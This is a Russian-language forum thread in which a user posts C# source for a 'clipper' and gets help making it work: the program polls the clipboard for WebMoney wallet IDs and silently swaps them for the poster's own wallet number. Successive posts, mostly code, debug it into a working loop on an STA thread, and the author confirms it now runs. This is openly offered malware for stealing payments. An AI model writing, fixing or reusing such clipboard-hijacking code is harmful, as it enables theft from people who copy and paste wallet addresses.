Загрузка...

CLIPER What am I doing wrong?

Thread in C# created by Цербер Jan 30, 2020. 210 views

  1. Цербер
    Цербер Topic starter Jan 30, 2020 Banned 1093 Feb 21, 2018
    Он открывается подменяет один рас и закрывается
    Code
    using System;
    using System.Windows.Forms;
    using System.Threading;

    namespace Cliper
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string buffer = Clipboard.GetText();

    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");

    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    while (true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");
    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    Thread.Sleep(500);
    }
    }

    private void Form1_Load(object sender, EventArgs e)
    {

    }
    }
    }
     
  2. esretard
    esretard Jan 30, 2020 18 Dec 23, 2019
    вынеси клиппер в отдельный метод и запусти этот метот в новом STA потоке
    The post was merged to previous Jan 30, 2020
    ща код скину как
    The post was merged to previous Jan 30, 2020
    Code
    public Form1()
    {
    Thread t = new Thread(Clipper);
    t.ApartmentState = ApartmentState.STA;
    t.Start();
    t.Join();

    }

    private static void Clipper()
    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string buffer = Clipboard.GetText();

    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");

    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    while (true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");
    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    Thread.Sleep(500);
    }
    }
     
  3. Цербер
    Цербер Topic starter Jan 31, 2020 Banned 1093 Feb 21, 2018
  4. esretard
    esretard Jan 31, 2020 18 Dec 23, 2019
    Возможно ты просто удалил этот код:
    Code

    private void Form1_Load(object sender, EventArgs e)
    {

    }
    The post was merged to previous Jan 31, 2020
    И я так понимаю, что у тебя winform приложение, если да, то удали t.Join(); из кода, который я скинул
     
  5. Цербер
    Цербер Topic starter Jan 31, 2020 Banned 1093 Feb 21, 2018
    esretard,
    Code
    namespace Clipper
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    Thread t = new Thread(Clipper);
    t.ApartmentState = ApartmentState.STA;
    t.Start();
    t.Join();

    }
    private void Form1_Load(object sender, EventArgs e)
    {

    }
    private static void Clipper()

    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string buffer = Clipboard.GetText();

    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");

    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    while (true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");
    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    Thread.Sleep(500);
    }

    }


    }
    }
    The post was merged to previous Jan 31, 2020
    Вроде теперь все робит, но всеравно срабатывает один рас
     
  6. esretard
    esretard Jan 31, 2020 18 Dec 23, 2019
    Стой, так ты буфер обмена получаешь всего-лишь 1 раз) Сделай так:
    Code

    namespace Clipper
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    Thread t = new Thread(Clipper);
    t.ApartmentState = ApartmentState.STA;
    t.Start();
    t.Join();

    }
    private void Form1_Load(object sender, EventArgs e)
    {

    }
    private static void Clipper()

    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string oldbuff = "";
    while (true)
    {
    string buffer = Clipboard.GetText();
    if (buffer == oldbuff)
    continue;
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    else
    Console.WriteLine("Это не wedmoney");
    Thread.Sleep(100);
    }

    }
    }
    }
    И все остальные ошибки в недоработки в коде я пофиксил.
     
  7. Цербер
    Цербер Topic starter Jan 31, 2020 Banned 1093 Feb 21, 2018
    esretard, Работает))) спасибо
     
Top
Loading...